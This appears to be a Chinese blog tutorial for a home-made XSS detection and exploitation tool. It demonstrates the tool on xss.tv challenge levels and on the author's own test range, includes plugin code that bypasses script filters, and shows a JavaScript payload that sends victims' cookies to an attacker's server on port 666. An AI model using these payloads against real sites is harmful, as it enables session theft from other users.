0%

Wker_XSSTool

XSS漏洞

这种漏洞相对于其他为例比较大的漏洞来说可能稍显鸡肋了,但是在有的时候却是一种没有办法的办法

相关的检测和利用工具之前说要做,但是一直拖着,昨天有点时间,写了一下午就匆匆写完,有一些细节方面处理的不是很仔细,但是个人感觉使用起来还是没什么问题的。

反射性XSS

这种是可以进行工具检测的,相对而言可以减少很多的体力活,在这里我使用XSS挑戰賽給大家做為一個示例,这个挑战赛分为很多关卡,举出一两个比较有代表性的作为例子。
目前我只做了GET提交方式的,POST提交的暂时没有去做,但是很快也会补上的。
第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

基本可以确定两个变量输出的位置,根据简单的闭合操作就可以实现弹窗,那么工具如何使用?
首先看一下目录结构:
目录结构

  1. js目录是用来保存我们的木马js的
  2. plugins是用来保存我们的插件的(后面有讲如何编写插件)
  3. PayLoad是用来保存我们的payload的

知道这些以后,我们就使用工具进行检测,进入界面之后,在我们的文本框中键入我们需要检测的URL,这里是第一个需要之后修复的细节,就是我只是简单的做了文本的拼接,所以我们需要将可疑的参数放置在最后,并且无对应的键值。
检测界面
这个时候我们就要进行检测,点击右边的Button,开始检测,可以来看下效果:
检测结果
可以看到提供给我们四个payload,那这四个payload到底是如何得到的呢?
首先在Payload.txt文件夹中存在:

1
<script>alert(/wker/)</script>

这些payload是可以自己添加的。
这样子的一条检测语句,那为什么会出现四个呢?其实很简单,我们仔细观察源代码,你会发现,在第二关存在两个输出我们传入变量的HTML节点:

1
2
3
<h2 align=center>没有找到和test相关的结果.</h2><center>

<input name=keyword value="test">

这两条,如果我们手动去检测的话呢,第一个需要关注的就是这两个存在输出位置的HTML节点,所以我增加payload的修饰功能,也就是可以帮助你自动的闭合标签,比较智能化的去检测页面的XSS。
那每一个输出点的第二条是什么,又是怎么来的?这个是由插件所提供的功能,其实这里说的插件就是我们自己编写的DLL。现在看这个XSS挑战赛的第六关:
第六关
这一关对我们的输入是做了一些检测的,也就是对script进行了一个替换,但是他无法对付大小写的一个绕过,那这个时候使用工具进行检测:
检测结果
可以看到我们只存在一条了,那另一条哪里去了?其实是因为script的过滤导致我们无法进行注入,但是我嗯是用大小写绕过之后确实可以进行注入的,那么为什么可以进行大小写的替换,就是因为我们的插件,来到plugins的目录下,可以看到:
插件
这样子的一个DLL文件,那么这个DLL文件是如何实现对我们Payload的一个修饰呢?我们查看他的导出函数:
导出函数
可以看到他有一个导出函数,也就是程序通过调用这个导出函数实现我们的payload修饰。
来看下是怎么书写的:
EncodePayload
我会对整个plugins进行一个遍历,对所有的EncodePayload函数的值进行一个保存,在我们进行检测的时候我会调用相对的方法去修饰我们的payload,传给你三个参数,第一个参数是要修饰的payload,第二个参数是用来接收的payload,第三个参数是认为如果存在漏洞,页面中应该存在的文本内容。
这个函数最终实现的就是一个script转化为SCRIPT的效果,所以我们能够成功的绕过第六关的一个检测。
那么如果你想编写自己的插件的话呢,那么你需要在头文件中键入类似于如下的内容:

1
2
3
4
5
6
7
#ifdef EXAMPLEDLL_EXPORTS
#define EXAMPLEDLL_API extern"C" __declspec(dllexport)
#else
#define EXAMPLEDLL_API extern"C" __declspec(dllimport)
#endif

EXAMPLEDLL_API int EncodePayload(char* SourcePayload,char* EncodePayload,char* FindPayload);

extern"C"是很重要的,这个保证了我可以通过EncodePayload来获得你的地址,__declspec(dllexport)这个保证了导出函数。

插件编写

那么我们就来实践编写一个插件,来到第七关,这一关就是对我们的script进行一个替换,那么,我们只需要对其简单地进行嵌套就可以实现绕过,那么我们编写插件的思路就是,将payload中的script替换为scrscriptipt就可以实现绕过,那么我们新建一个DLL项目,然后使用上面的宏定义。
然后编写我们的EncodePayload方法:

1
2
3
4
5
6
7
8
9
int EncodePayload(char* SourcePayload,char* EncodePayload,char* FindPayload)
{
CString source;
source.Format("%s",SourcePayload);
source.Replace("script","scrscriptipt");
strcpy(FindPayload,SourcePayload);
strcpy(EncodePayload,source.GetBuffer());
return 0;
}

我这里用了一个Cstring进行了一个中专,比较简单,如果要操作char的话呢有一点小麻烦,其实可以看到也就是简单的文本替换,只是我们要寻找的文本还是我们之前的那个文本!
最后看下我们实现的一个效果:
自写插件
可以看到我们确实是检测出了那个我们想要的效果!

对外提供了接口之后,你们可以实现base64加密啊这类的一些加密和绕过。

但是在这里需要注意的一点就是我传给你的指针是我已经new了的,但是大小是50个长度,所以你生成的payload不要超过50个字符!否则会溢出的。

存储型XSS

这个就比较实用了,经常用到,之前我都是用XSS平台,但是它里面提供的功能总是很多不能用,而且我觉得他那边也能看到我们打到的cookie,所以我就不是很喜欢,所以我就自己做了一个服务端,也提供给大家使用,后期也提供接口开发,只要你的服务器是对外网开放666端口的就是可以进行连接!
BEEF相对而言迁移有点麻烦,所以我就在检测端写了相对应的存储型XSS服务。
下面给大家做一个示例:
搭建一个简单的靶场,就是用来测试的,存在一个存储型的XSS:
提交留言
在留言内容中提交我们的payload,那这个payload怎么写呢?我们用Wker_XSSTool的第二个页面,勾选上开始劫持,勾选上之后如果不报错没并且有这样的一个提示,说明服务器开启正常,当然你的防火墙是需要给我开房666端口的。
开启端口
看到详细信息中心给了我们这样子的一段内容:

1
请使用类似于:<sCRiPt sRC=http://127.0.0.1:666/WkerJS></sCrIpT> 这样的PayLoad,只有这样Wker_XSSTool才能接收到劫持的信息!

就是说你将你的IP的666端口下的WkerJS作为SRC进行注入Wker_XSSTool就可以进行接受,那么我们的JS到地方再哪里?我们如何配置?
在上面的目录结构到js目录下有个Main.js这个文件,我们看一下他的内容:

1
2
3
4
var xhr = new XMLHttpRequest();
//var xhr = new ActiveXObject("Microsoft.XMLHTTP");
xhr.open("HEAD", "http://192.168.209.1:666/"+window.location.href+"|--|"+document.cookie, true);
xhr.send(null);

可以看到就是一个简单的数据提交,这里你需要更改这个192.168.209.1,将其改为你服务器的IP,因为只有这样我们才能获取。
payload的构造其实不是很难:

1
</tExtArEa>'"><sCRiPt sRC=http://192.168.209.1:666/WkerJS></sCrIpT>

提交Payload
提交之后,当我们的管理员打开我们提交的页面之后,我们的服务端就能接受到他的cookie!
下面是示例:
成功
可以看到我们成功的获取到了管理员的信息!

后续

之后我会更新这个程序的,主要是增加许多相对应的功能,因为细节方面没有做的很完美,最近主要是想把我之前做的那个Wker_EXEDebug这个调试工具写的完美一些,不能说跟得上OD,IDA和X64,但是至少也要做到许多他们有的我也要有的功能。